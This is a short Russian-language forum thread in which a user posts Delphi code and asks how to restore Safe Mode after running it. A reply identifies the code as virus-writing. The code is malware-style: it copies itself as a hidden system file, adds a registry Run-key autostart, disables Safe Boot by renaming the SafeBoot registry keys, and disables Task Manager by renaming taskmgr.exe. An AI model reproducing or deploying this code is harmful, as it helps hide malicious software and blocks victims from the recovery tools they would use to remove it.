Работа с реестром

[Glaxh]

Привет все ! Недавно делал программу и заблокировал себе безопасный вход юзал реестр теперь не знаю как это убрать вот кусок кода на делфи



procedure StartUp;
var
PathFile: string;
f: TextFile;
begin
PathFile := GetWinPath + '\Sound.exe';
CopyFile(PChar(ParamStr(0)), PChar(PathFile), True);
FileSetAttr(PathFile, faHidden or faSysFile);
AssignFile(f, GetWinPath + '\Sound.bat');
Rewrite(f);
Writeln(f, '@echo off');
Writeln(f, 'Title Sound');
Writeln(f, 'start Sound.exe');
Flush(f);
CloseFile(f);

Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\SOFTWARE\Microsoft\Wi ndows\CurrentVersion\Run', true);
Reg.WriteString('Sound', GetWinPath + '\Sound.bat');
Reg.CloseKey;
Reg.Free;
end;

procedure DelStartUp;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\SOFTWARE\Microsoft\Wi ndows\CurrentVersion\Run', true);
Reg.DeleteValue('Sound');
Reg.CloseKey;
Reg.Free;
end;

procedure SafeBoot(SafeBoot: Boolean);
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if SafeBoot = False then
begin
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\minimal',
'System\CurrentControlSet\Control\S afeBoot\M', true);
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\NetWork',
'System\CurrentControlSet\Control\S afeBoot\N', true);
end
else
begin
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\M',
'System\CurrentControlSet\Control\S afeBoot\minimal', true);
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\N',
'System\CurrentControlSet\Control\S afeBoot\NetWork', true);
end;
Reg.CloseKey;
Reg.Free;
end;

procedure Taskmgr(Task:Boolean);
begin
if Task = False then
RenameFile(GetSysPath + '\taskmgr.exe', GetSysPath + '\mdsdba.dll')
else
RenameFile(GetSysPath + '\mdsdba.dll', GetSysPath + '\taskmgr.exe');
end;


помогите кто знает в чем дело пожалуйста с меня +

[p51x]

помогите кто знает в чем дело

Не вооруженном глазом видно вирусописательство: запуск exe с странным именем, добавление в автозагрузку, возня с ключами и менеджером задач